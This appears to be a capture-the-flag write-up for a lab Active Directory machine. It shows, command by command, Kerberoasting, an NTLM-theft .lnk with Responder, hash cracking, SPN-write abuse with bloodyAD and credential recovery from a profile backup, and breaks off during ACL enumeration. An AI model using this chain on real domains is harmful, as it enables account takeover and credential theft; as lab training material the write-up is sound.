Post

City Council

Medium Active Directory Machine

City Council

Enumaration

The first thing to do is run an Nmap scan to identify the open ports and services.

From the scan results, we can observe that we are dealing with an Active Directory environment, which is essentially the core idea of this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
> sudo nmap -p- -T4 10.1.80.79 -sCV

Nmap scan report for 10.1.80.79
Host is up (0.18s latency).
Not shown: 65506 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: City Hall - Your Local Government
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-25 18:36:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: CITY
|   NetBIOS_Domain_Name: CITY
|   NetBIOS_Computer_Name: DC-CC
|   DNS_Domain_Name: city.local
|   DNS_Computer_Name: DC-CC.city.local
|   DNS_Tree_Name: city.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-06-25T18:36:59+00:00
|_ssl-date: 2026-06-25T18:37:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC-CC.city.local
| Not valid before: 2026-02-26T17:26:36
|_Not valid after:  2026-08-28T17:26:36
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC-CC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-25T18:37:03
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

The challenge does not provide us with a foothold, which means that gaining a foothold is our mission.

The nmap scan results reveal an HTTP service running on port 80, which warrants further enumeration.

Navigating to port 80, we are presented with the homepage of a City Hall.

Home page

However, the most notable finding is located within the Documents & Forms section in the footer of hte home page, which hosts a downloadable binary named city_services_portal for both Windows and Linux platforms.

Binary

I installed the Windows version, so let’s start analyzing it.

The file command reveals that this binary is a PE32+ executable, which indicates that it was compiled for the 64-bit Windows architecture.

1
2
> file city_services_portal.exe
city_services_portal.exe: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 7 sections

However, the most interesting finding is that the strings command reveals indicators consistent with a PyInstaller-packaged python application.

1
2
3
4
5
6
7
8
> strings city_services_portal.exe | grep python 
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
bpython311.dll
7python311.dll

The presence of strings such as pyi-python-flag and references to an embedded python interpreter strongly suggests that this binary was built using PyInstaller, a tool that bundles a Python interpreter, the application’s bytecode, and all required dependencies into a single standalone executable.

This means the actual application logic resides as compiled python bytecode .pyc embedded within the binary.

Gaining Foothold

As a result, this binary can be reverse engineered relatively easily using tools such as pyinstxtractor, which extracts the embedded python bytecode and resources from the PyInstaller archive, allowing for further static analysis or decompilation of the original python source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> python3 pyinstxtractor.py ../city_services_portal.exe                                              
[+] Processing ../city_services_portal.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 10542941 bytes
[+] Found 987 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: city_services_portalv2.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../city_services_portal.exe

You can now use a python decompiler on the pyc files within the extracted directory

The extraction yielded a directory containing the embedded python runtime libraries and compiled bytecode files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> ls city_services_portal.exe_extracted 
api-ms-win-core-console-l1-1-0.dll        api-ms-win-core-namedpipe-l1-1-0.dll           api-ms-win-crt-environment-l1-1-0.dll  _decimal.pyd             select.pyd
api-ms-win-core-datetime-l1-1-0.dll       api-ms-win-core-processenvironment-l1-1-0.dll  api-ms-win-crt-filesystem-l1-1-0.dll   _hashlib.pyd             _socket.pyd
api-ms-win-core-debug-l1-1-0.dll          api-ms-win-core-processthreads-l1-1-0.dll      api-ms-win-crt-heap-l1-1-0.dll         libcrypto-3.dll          struct.pyc
api-ms-win-core-errorhandling-l1-1-0.dll  api-ms-win-core-processthreads-l1-1-1.dll      api-ms-win-crt-locale-l1-1-0.dll       _lzma.pyd                tcl8
api-ms-win-core-fibers-l1-1-0.dll         api-ms-win-core-profile-l1-1-0.dll             api-ms-win-crt-math-l1-1-0.dll         pyiboot01_bootstrap.pyc  tcl86t.dll
api-ms-win-core-file-l1-1-0.dll           api-ms-win-core-rtlsupport-l1-1-0.dll          api-ms-win-crt-process-l1-1-0.dll      pyimod01_archive.pyc     _tcl_data
api-ms-win-core-file-l1-2-0.dll           api-ms-win-core-string-l1-1-0.dll              api-ms-win-crt-runtime-l1-1-0.dll      pyimod02_importers.pyc   tk86t.dll
api-ms-win-core-file-l2-1-0.dll           api-ms-win-core-synch-l1-1-0.dll               api-ms-win-crt-stdio-l1-1-0.dll        pyimod03_ctypes.pyc      _tk_data
api-ms-win-core-handle-l1-1-0.dll         api-ms-win-core-synch-l1-2-0.dll               api-ms-win-crt-string-l1-1-0.dll       pyimod04_pywin32.pyc     _tkinter.pyd
api-ms-win-core-heap-l1-1-0.dll           api-ms-win-core-sysinfo-l1-1-0.dll             api-ms-win-crt-time-l1-1-0.dll         pyi_rth_inspect.pyc      ucrtbase.dll
api-ms-win-core-interlocked-l1-1-0.dll    api-ms-win-core-timezone-l1-1-0.dll            api-ms-win-crt-utility-l1-1-0.dll      pyi_rth__tkinter.pyc     unicodedata.pyd
api-ms-win-core-libraryloader-l1-1-0.dll  api-ms-win-core-util-l1-1-0.dll                base_library.zip                       python311.dll            VCRUNTIME140.dll
api-ms-win-core-localization-l1-2-0.dll   api-ms-win-crt-conio-l1-1-0.dll                _bz2.pyd                               PYZ.pyz
api-ms-win-core-memory-l1-1-0.dll         api-ms-win-crt-convert-l1-1-0.dll              city_services_portalv2.pyc             PYZ.pyz_extracted

Running the strings utility against the compiled bytecode reveals some base64 encoded strings embedded within the binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
> strings city_services_portalv2.pyc    
l	Z		
messageboxc
CityServicesPortalc
Nz0City Council Public Services Portal - city.local
1000x800
#f5f6fa
DC-CC.city.locali
c3ZjX3NlcnZpY2VzX3BvcnRhbA==z
[REDACTED])
Business License Application
Building Permit Request
<SNIP>

Upon decoding these strings, a domain user (FootHold) credentials was recovered.

1
2
> printf "%s:%s\n" "$(echo 'c3ZjX3NlcnZpY2VzX3BvcnRhbA==' | base64 -d)" "$(echo '[REDACTED]' | base64 -d)" 
svc_services_portal:[REDACTED]

Jumping to clerk.john

Checking out foothold using nxc

1
2
3
> nxc smb 10.1.80.79 -u svc_services_portal -p '[REDACTED]'
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\svc_services_portal:[REDACTED] 

First, generate a hosts file for the target domain.

1
2
3
4
5
6
> nxc smb 10.1.80.79 -u svc_services_portal -p '[REDACTED]' --generate-hosts-file host 
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\svc_services_portal:[REDACTED] 

> cat host     
10.1.80.79     DC-CC.city.local city.local DC-CC

I used my tool to do a quick domain recon and I found a kerberoastable account.

1
2
3
4
5
6
7
8
9
python3 aclhug.py --dc-ip 10.1.80.79 -d city.local -u svc_services_portal -p '[REDACTED]' --domain-recon

<SNIP>
──────────────────────  ⚠  Kerberoastable Accounts  [1]  ──────────────────────
    clerk.john
       SPNs: HTTP/clerkjohn.city.local
       'clerk.john' has SPNs and is enabled; Kerberoast candidate.

<SNIP>

Now, let’s use nxc again to perform a kerberoasting attack against the clerk.john user.

1
2
3
4
5
6
7
> nxc ldap 10.1.80.79 -u svc_services_portal -p '[REDACTED]' --kerberoasting output.txt
LDAP        10.1.80.79      389    DC-CC            [*] Windows 10 / Server 2019 Build 17763 (name:DC-CC) (domain:city.local) (signing:None) (channel binding:No TLS cert) 
LDAP        10.1.80.79      389    DC-CC            [+] city.local\svc_services_portal:[REDACTED] 
LDAP        10.1.80.79      389    DC-CC            [*] Skipping disabled account: krbtgt
LDAP        10.1.80.79      389    DC-CC            [*] Total of records returned 1
LDAP        10.1.80.79      389    DC-CC            [*] sAMAccountName: clerk.john, memberOf: [], pwdLastSet: 2025-10-24 10:26:28.614558, lastLogon: 2026-02-27 09:58:43.208008
LDAP        10.1.80.79      389    DC-CC            $krb5tgs$23$*clerk.john$CITY.LOCAL$city.local\clerk.john*$b2cec9a2f9e5c9bc7a2cc1b215ba2e43$[REDACTED]

Next, we employ hashcat to crack the retrieved kerberos service ticket hash and recover the cleartext password for the clerk.john account.

1
2
> hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*clerk.john$CITY.LOCAL$city.local\clerk.john*$b2cec9a2f9e5c9bc7a2cc1b215ba2e43$[REDACTED]:[REDACTED]

Checking clerk.john aacount …

1
2
3
> nxc smb 10.1.80.79 -u clerk.john -p [REDACTED]                                        
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\clerk.john:[REDACTED] 

Let’s enumerate the shares that clerk.john has access to.

1
2
3
4
5
6
7
8
9
10
11
12
13
> nxc smb 10.1.80.79 -u clerk.john -p [REDACTED] --shares
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\clerk.john:[REDACTED] 
SMB         10.1.80.79      445    DC-CC            [*] Enumerated shares
SMB         10.1.80.79      445    DC-CC            Share           Permissions     Remark
SMB         10.1.80.79      445    DC-CC            -----           -----------     ------
SMB         10.1.80.79      445    DC-CC            ADMIN$                          Remote Admin
SMB         10.1.80.79      445    DC-CC            Backups                         
SMB         10.1.80.79      445    DC-CC            C$                              Default share
SMB         10.1.80.79      445    DC-CC            IPC$            READ            Remote IPC
SMB         10.1.80.79      445    DC-CC            NETLOGON        READ            Logon server share 
SMB         10.1.80.79      445    DC-CC            SYSVOL          READ            Logon server share 
SMB         10.1.80.79      445    DC-CC            Uploads         READ,WRITE      

We observe that clerk.john has READ and WRITE permissions over the Uploads share. Let’s discover the content of this share.

1
2
3
4
5
6
7
8
9
10
11
> smbclient //10.1.80.79/Uploads -U 'clerk.john%clerkhill'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jun 25 17:00:53 2026
  ..                                  D        0  Thu Jun 25 17:00:53 2026
  Council_Draft.txt                   A   202708  Thu Jun 25 17:05:04 2026
  Holiday_Office_Hours_Notice.docx      A      300  Thu Oct 30 15:36:56 2025
  Parking_Permit_Info_Sheet.txt       A      240  Thu Oct 30 15:37:35 2025
  Room_Booking_Request_Form.docx      A      341  Thu Oct 30 15:36:14 2025
  Staff_Contacts.txt                  A      751  Mon Oct 27 18:20:21 2025
  WriteAccess_Jon.Peters_DC-CC-Uploads.eml      A     1164  Fri Feb  6 04:55:07 2026

Among the enumerated files, the only item of significance is WriteAccess_Jon.Peters_DC-CC-Uploads.eml, an email from emma.hayes to jon.peters.

The important detail is found in a note on line 25, which explicitly states that the share uses NTLM authentication, coupled with the net use command requiring the user domain credentials.

We can deduce that the jon.peters account is maybe susceptible to an NTLM poisoning attack.

The classic scenario involves uploading a malicious .lnk shortcut to the Uploads share, when jon.peters browses the directory, the forced NTLM authentication attempt is captured by responder, yielding the user NTLM hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Subject: Write access to \DC-CC\Uploads has been granted

From: Emma Hayes emma.hayes@city.local

To: Jon Peters jon.peters@city.local

Date: Fri, 24 Oct 2025 10:42:00 +0100

Hi Jon,

Quick note: I’ve granted you write access to the shared folder \\DC-CC\Uploads. The folder is mapped as drive Z: on your workstation — you should be able to create, edit and upload files there.

The following files are already in the Uploads folder and appear to be actively edited by you:


Staff_Contacts.txt



If the drive does not connect automatically, you can map it manually (you will be prompted for your domain credentials):

net use Z: \\DC-CC\Uploads /user:city.local\jon.peters


Please note: the share uses NTLM authentication. If you connect from an unfamiliar or public device and see an authentication prompt, do not enter your credentials on that device — contact the IT Helpdesk so we can verify the endpoint before you proceed.

If you encounter any issues saving files or the mapping does not persist after reboot, let me know and I’ll check the mapping remotely.

Best regards,
Emma Hayes
IT Helpdesk – City Council

Jumping to jon.peters

We begin by generating a malicious windows shortcut file using ntlm_theft tool.

1
2
3
4
5
6
> python3 ntlm_theft.py -g lnk -s <tun0 IP> -f city  

SyntaxWarning: invalid escape sequence '\l'
  location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx';
Created: city/city.lnk (BROWSE TO FOLDER)
Generation Complete.

Concurrently, launch responder in a separate terminal to capture incoming NTLM authentication attempts.

1
> sudo responder -I tun0

Then upload the generated malicious shortcut to the Uploads share and wait for Jon to browse the share. When he tries to authenticate, we capture his NTLM hash via responder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> smbclient //10.1.80.79/Uploads -U 'clerk.john%[REDACTED]'
Try "help" to get a list of possible commands.
smb: \> put city.lnk
putting file city.lnk as \city.lnk (1.8 kb/s) (average 1.8 kb/s)
smb: \> dir
  .                                   D        0  Thu Jun 25 17:49:38 2026
  ..                                  D        0  Thu Jun 25 17:49:38 2026
  city.lnk                            A     2164  Thu Jun 25 17:49:38 2026
  Council_Draft.txt                   A   216405  Thu Jun 25 17:49:34 2026
  Holiday_Office_Hours_Notice.docx      A      300  Thu Oct 30 15:36:56 2025
  Parking_Permit_Info_Sheet.txt       A      240  Thu Oct 30 15:37:35 2025
  Room_Booking_Request_Form.docx      A      341  Thu Oct 30 15:36:14 2025
  Staff_Contacts.txt                  A      751  Mon Oct 27 18:20:21 2025
  WriteAccess_Jon.Peters_DC-CC-Uploads.eml      A     1164  Fri Feb  6 04:55:07 2026

		12966143 blocks of size 4096. 8382353 blocks available

The NetNTLMv2 hash for jon.peters has been successfully captured.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.1.80.79
[SMB] NTLMv2-SSP Username : CITY\jon.peters
[SMB] NTLMv2-SSP Hash     : jon.peters::CITY:3886f33b6b78f900:225A6FD0B3E8BBFFB1144FC1CC077296:[REDACTED]
[*] Skipping previously captured hash for CITY\jon.peters
[*] Skipping previously captured hash for CITY\jon.peters
[*] Skipping previously captured hash for CITY\jon.peters

We proceed to crack the hash using john.

1
2
3
4
5
6
7
8
9
> john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]   (jon.peters)     
1g 0:00:00:14 DONE (2026-06-25 17:58) 0.07117g/s 949368p/s 949368c/s 949368C/s 1234ถ6789..1234dork
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Checking jon.peters creds …

1
2
3
> nxc smb 10.1.80.79 -u jon.peters -p [REDACTED]              
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\jon.peters:[REDACTED] 

Jumpng to maria.clerk & nina.soto

We successfully obtained jon.peters credentials. Next, let’s enumerate the dangerous ACLs that John has over domain objects.

My tool ACLhug identifies that jon.peters possesses WriteAllProperties over nina.soto, paul.roberts, and maria.clerk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
> python3 aclhug.py --dc-ip 10.1.80.79 -d city.local -u svc_services_portal -p '[REDACTED]' -t jon.peters 
<SNIP>

  🟠 HIGH      WriteAllProperties
       Target    : nina.soto  [top | person | organizationalperson | user]
       DN        : CN=Nina Soto,CN=Users,DC=city,DC=local
       Rights    : ReadControl, WriteAllProperties[no-GUID], ReadProperty, ListChildren
       Technique : Write any attribute (WriteProperty with no GUID restriction)
       Methods   : shadow-credentials, set-spn, set-rbcd, set-scriptpath, set-primary-group, write-alt-sec-ids
       Attack    : Same as GenericWrite — write any attribute without restriction.
       ACE Type  : ACCESS_ALLOWED_ACE

  🟠 HIGH      WriteAllProperties
       Target    : paul.roberts  [top | person | organizationalperson | user]
       DN        : CN=Paul Roberts,CN=Users,DC=city,DC=local
       Rights    : ReadControl, WriteAllProperties[no-GUID], ReadProperty, ListChildren
       Technique : Write any attribute (WriteProperty with no GUID restriction)
       Methods   : shadow-credentials, set-spn, set-rbcd, set-scriptpath, set-primary-group, write-alt-sec-ids
       Attack    : Same as GenericWrite — write any attribute without restriction.
       ACE Type  : ACCESS_ALLOWED_ACE

  🟠 HIGH      WriteAllProperties
       Target    : maria.clerk  [top | person | organizationalperson | user]
       DN        : CN=Maria Clerk,CN=Users,DC=city,DC=local
       Rights    : ReadControl, WriteAllProperties[no-GUID], ReadProperty, ListChildren
       Technique : Write any attribute (WriteProperty with no GUID restriction)
       Methods   : shadow-credentials, set-spn, set-rbcd, set-scriptpath, set-primary-group, write-alt-sec-ids
       Attack    : Same as GenericWrite — write any attribute without restriction.
       ACE Type  : ACCESS_ALLOWED_ACE

════════════════════════════════════════════════════════════════════════════════

We abuse this ACL by adding a fake SPN to each account and subsequently requesting a TGS ticket.

1
2
3
4
5
6
7
8
> bloodyAD --host 10.1.80.79 -d city.local -u jon.peters -p [REDACTED] set object nina.soto ServicePrincipalName -v 'sys/nina' --raw 
[+] nina.soto's ServicePrincipalName has been updated

> bloodyAD --host 10.1.80.79 -d city.local -u jon.peters -p [REDACTED] set object paul.roberts ServicePrincipalName -v 'sys/paul' --raw
[+] paul.roberts's ServicePrincipalName has been updated

> bloodyAD --host 10.1.80.79 -d city.local -u jon.peters -p [REDACTED] set object maria.clerk ServicePrincipalName -v 'sys/maria' --raw
[+] maria.clerk's ServicePrincipalName has been updated

Then requesting a TGS ticket using nxc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> nxc ldap 10.1.80.79 -u svc_services_portal -p '[REDACTED]' --kerberoasting output.txt
LDAP        10.1.80.79      389    DC-CC            [*] Windows 10 / Server 2019 Build 17763 (name:DC-CC) (domain:city.local) (signing:None) (channel binding:No TLS cert) 
LDAP        10.1.80.79      389    DC-CC            [+] city.local\svc_services_portal:[REDACTED] 
LDAP        10.1.80.79      389    DC-CC            [*] Skipping disabled account: krbtgt
LDAP        10.1.80.79      389    DC-CC            [*] Total of records returned 4
LDAP        10.1.80.79      389    DC-CC            [*] sAMAccountName: clerk.john, memberOf: [], pwdLastSet: 2025-10-24 10:26:28.614558, lastLogon: 2026-02-27 09:58:43.208008
LDAP        10.1.80.79      389    DC-CC            $krb5tgs$23$*clerk.john$CITY.LOCAL$city.local\clerk.john*$fdbb4723d32f4e15b405acc6b8c9bef0$[REDACTED]

LDAP        10.1.80.79      389    DC-CC            [*] sAMAccountName: maria.clerk, memberOf: [], pwdLastSet: 2025-10-27 14:54:04.292076, lastLogon: 2025-10-24 19:12:15.099256
LDAP        10.1.80.79      389    DC-CC            $krb5tgs$23$*maria.clerk$CITY.LOCAL$city.local\maria.clerk*$c2c78d80c6537b750ce6a1cc7bc95d91$[REDACTED]

LDAP        10.1.80.79      389    DC-CC            [*] sAMAccountName: nina.soto, memberOf: [], pwdLastSet: 2025-10-29 11:32:00.352988, lastLogon: <never>
LDAP        10.1.80.79      389    DC-CC            $krb5tgs$23$*nina.soto$CITY.LOCAL$city.local\nina.soto*$25810518f02b10a4263b451c9c5ff3a8$[REDACTED]

LDAP        10.1.80.79      389    DC-CC            [*] sAMAccountName: paul.roberts, memberOf: [], pwdLastSet: 2025-10-24 10:26:28.865669, lastLogon: <never>
LDAP        10.1.80.79      389    DC-CC            $krb5tgs$23$*paul.roberts$CITY.LOCAL$city.local\paul.roberts*$ed0f18d005fa2e29544f0e169e3b6a66$[REDACTED]

Cracking hashes.

1
> hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt

Upon completion of the hashcat cracking process, the cleartext credentials for the maria.clerk and nina.soto accounts are successfully recovered.

Cheking aaccounts …

1
2
3
> nxc smb 10.1.80.79 -u nina.soto -p [REDACTED]                                    
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\nina.soto:[REDACTED] 
1
2
3
> nxc smb 10.1.80.79 -u maria.clerk -p [REDACTED]
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\maria.clerk:[REDACTED] 

Jumping to emma.hayes

Upon enumaration the SMB share permissions for nina.soto, we observe that this account has read access to the Backups share.

1
2
3
4
5
6
7
8
9
10
11
12
13
> nxc smb 10.1.80.79 -u nina.soto -p 123nina321 --shares      
SMB         10.1.80.79      445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.80.79      445    DC-CC            [+] city.local\nina.soto:123nina321 
SMB         10.1.80.79      445    DC-CC            [*] Enumerated shares
SMB         10.1.80.79      445    DC-CC            Share           Permissions     Remark
SMB         10.1.80.79      445    DC-CC            -----           -----------     ------
SMB         10.1.80.79      445    DC-CC            ADMIN$                          Remote Admin
SMB         10.1.80.79      445    DC-CC            Backups         READ            
SMB         10.1.80.79      445    DC-CC            C$                              Default share
SMB         10.1.80.79      445    DC-CC            IPC$            READ            Remote IPC
SMB         10.1.80.79      445    DC-CC            NETLOGON        READ            Logon server share 
SMB         10.1.80.79      445    DC-CC            SYSVOL          READ            Logon server share 
SMB         10.1.80.79      445    DC-CC            Uploads                         

The Backups SMB share contains two directories.

1
2
3
4
5
6
7
8
9
> smbclient //10.1.80.79/Backups -U 'nina.soto%123nina321'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Oct 30 12:55:14 2025
  ..                                  D        0  Thu Oct 30 12:55:14 2025
  Documents Backup                   Dn        0  Thu Oct 30 12:55:14 2025
  UserProfileBackups                 Dn        0  Thu Oct 30 14:55:27 2025

		12966143 blocks of size 4096. 8390720 blocks available

The UserProfileBackups directory contains two .wim (Windows Imaging Format) profile backup images.

1
2
3
4
5
6
smb: \> cd UserProfileBackups
dsmb: \UserProfileBackups\> dir
  .                                  Dn        0  Thu Oct 30 14:55:27 2025
  ..                                 Dn        0  Thu Oct 30 14:55:27 2025
  clerk.john_ProfileBackup_0729.wim     An 69883158  Thu Oct 30 12:23:22 2025
  sam.brooks_ProfileBackup_0728.wim      A   130326  Thu Oct 30 14:55:12 2025

After mounting the clerk.john WIM image, we discover an email from Emma on the user’s Desktop.

The email reveals that emma.hayes has granted clerk.john temporary access to her account, with credentials stored in Windows Credential Manager protected by DPAPI.

Since Emma stored her credentials in Windows Credential Manager and granted John permission to use them, the first place worth exploring is the PowerShell history file. This file may contain commands John used to access the account, potentially including credentials written in plaintext.

Its default path is: %APPDATA%\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

By reading this history file, I found Emma’s password in cleartext, which had been passed as an argument to the cmdkey command.

1
2
3
4
5
6
7
8
9
cmdkey /add:city-dc /user:city.local\emma.hayes /pass:[REDACTED]
cmdkey /add:DC-CC.city.local /user:emma.hayes /pass:[REDACTED]
# Gespeicherte Credentials anzeigen
cmdkey /list
# DPAPI Dateien anzeigen
dir "%appdata%\Microsoft\Credentials\"
# Sollte zeigen:
# Target: Domain:target=web-portal
<SNIP>

Jumping to sam.brooks - [USER FLAG]

I performed a quick scan for dangerous ACLs that Emma has over domain objects.

We can see that Emma has WriteDACL over the CityOps OU. This permission allows us to modify the object’s DACL, meaning we can grant ourselves GenericAll over the OU which then enables us to perform powerful attacks against objects within it, such as forcing password changes on user accounts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
> python3 aclhug.py --dc-ip 10.1.80.79 -d city.local -u svc_services_portal -p '[REDACTED]' -t emma.hayes          

  🟠 HIGH      WriteAllProperties
       Target    : Quarantine  [top | organizationalunit]
       DN        : OU=Quarantine,DC=city,DC=local
       Rights    : ReadControl, WriteAllProperties[no-GUID], ReadProperty, ListChildren
       Technique : Write any attribute (WriteProperty with no GUID restriction)
       Methods   : shadow-credentials, set-spn, set-rbcd, set-scriptpath, set-primary-group, write-alt-sec-ids
       Attack    : Same as GenericWrite — write any attribute without restriction.
       ACE Type  : ACCESS_ALLOWED_ACE

  🟠 HIGH      WriteDacl
       Target    : rita.cho  [top | person | organizationalperson | user]
       DN        : CN=Rita Cho,OU=CityOps,DC=city,DC=local
       Rights    : WriteDacl
       Technique : DACL Write — grant arbitrary rights to yourself on the target
       Methods   : write-dacl → add GenericAll → full control
       Attack    : Grant yourself GenericAll, then proceed with any attack.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🟠 HIGH      WriteDacl
       Target    : alex.king  [top | person | organizationalperson | user]
       DN        : CN=Alex King,OU=CityOps,DC=city,DC=local
       Rights    : WriteDacl
       Technique : DACL Write — grant arbitrary rights to yourself on the target
       Methods   : write-dacl → add GenericAll → full control
       Attack    : Grant yourself GenericAll, then proceed with any attack.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🟠 HIGH      WriteAllProperties
       Target    : web_admin  [top | person | organizationalperson | user]
       DN        : CN=Web Admin,OU=Quarantine,DC=city,DC=local
       Rights    : ReadControl, WriteAllProperties[no-GUID], ReadProperty, ListChildren
       Technique : Write any attribute (WriteProperty with no GUID restriction)
       Methods   : shadow-credentials, set-spn, set-rbcd, set-scriptpath, set-primary-group, write-alt-sec-ids
       Attack    : Same as GenericWrite — write any attribute without restriction.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🟠 HIGH      WriteDacl
       Target    : sam.brooks  [top | person | organizationalperson | user]
       DN        : CN=Sam Brooks,OU=CityOps,DC=city,DC=local
       Rights    : WriteDacl
       Technique : DACL Write — grant arbitrary rights to yourself on the target
       Methods   : write-dacl → add GenericAll → full control
       Attack    : Grant yourself GenericAll, then proceed with any attack.
       ACE Type  : ACCESS_ALLOWED_ACE [inherited]

  🟠 HIGH      WriteDacl
       Target    : CityOps  [top | organizationalunit]
       DN        : OU=CityOps,DC=city,DC=local
       Rights    : WriteDacl
       Technique : DACL Write — grant arbitrary rights to yourself on the target
       Methods   : write-dacl → add GenericAll → full control
       Attack    : Grant yourself GenericAll, then proceed with any attack.
